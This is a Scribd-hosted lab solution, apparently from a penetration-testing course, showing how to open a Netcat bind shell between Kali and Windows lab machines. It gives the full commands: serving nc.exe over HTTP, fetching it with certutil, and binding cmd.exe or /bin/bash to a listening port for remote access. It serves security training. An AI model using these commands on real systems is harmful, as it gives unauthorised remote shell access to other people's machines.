0% found this document useful (0 votes)
31 views

Bind Shell With Netcat

Copyright
© © All Rights Reserved
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
31 views

Bind Shell With Netcat

Copyright
© © All Rights Reserved
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 5

Solution

Step 1: Open the lab link to access the Kali GUI instance

Step 2: Lab setup

This lab will provide you with access to two systems:

1. The attacker system running Kali


2. The target system running Windows

These systems can be accessed via the tab switcher at the top of the lab as shown in the
following screenshot.

This lab requires two systems in order to provide you with an understanding of how Netcat
communicates either via a listener or when connecting to a port.

Step 3: Identify the target IP address

Before we get started, you will need to obtain the IP address of the target system within the lab
environment.

This lab will provide you with the target IP address in a leafpad window when you first access
the lab as shown in the following screenshot.
Note: Your target IP address will be different, so make sure to substitute the IP shown in the
commands below with the one in your lab.

Step 4 Transferring the Netcat executable to the Windows system

In order to setup a bind shell with Netcat, we will need to transfer the nc.exe executable to the
target system running Windows.

Kali Linux comes pre-packaged with the nc.exe executable, we can host the executable by
setting up an HTTP server with Python.

The first step will involve navigating to the /usr/share/windows-binaries directory. This can be
done by running the following command:

Command

cd /usr/share/windows-binaries

We can then setup an HTTP server with Python within this directory by running the following
command:
Command

python -m SimpleHTTPServer 80

You will now need to identify the IP address of your Kali Linux system, this can be done by
running the following command on the Kali system:

Command

ifconfig

As shown in the following screenshot, the Kali Linux IP address in this case is10.10.3.2. In your
case, this will be different.

You will now need to navigate to the target system running windows by clicking on the Target
Machine tab at the top of the lab as shown in the following screenshot.
You will then need to open up a command prompt, navigate to the Desktop directory and run the
following command to download the nc.exe executable from the web server being hosted on the
Kali Linux system.

Command

certutil -urlcache -f http://10.10.3.2/nc.exe nc.exe

Step 5:Setting up the bind shell listener


Now that we have transferred the nc.exe executable to the Windows system we can begin by
setting up the bind shell listener on the Windows system.

In this case, we will be connecting to a bind shell listener on the Windows system, as a result, we
will need to setup a Netcat listener on the Windows system and configure it to
execute cmd.exe when a connection is made from a client.

This can be done by running the following command:

Command

nc.exe -nvlp 1234 -e cmd.exe

We can now connect to the bind shell listener running on the Windows system from the Kali
Linux system by running the following command:

Command

nc -nv 10.4.21.221 1234

As shown in the following screenshot, connecting to the bind shell listener will provide us with a
remote shell on the Windows system.
This process can also be reversed, for example, if we wanted to obtain a bind shell on the Kali
Linux system from the Windows system, we would need to setup a Netcat listener on the Kali
Linux system and configure it to execute a shell like /bin/bash.

This can be done by running the following command:

Command

nc -nvlp 1234 -e /bin/bash

We can now connect to the bind shell listener on the Kali Linux system from the Windows
system by running the following command:

Command

nc.exe -nv 10.10.3.2 1234

As shown in the following screenshot, connecting to the bind shell listener will provide us with a
remote shell on the Kali linux system.

You might also like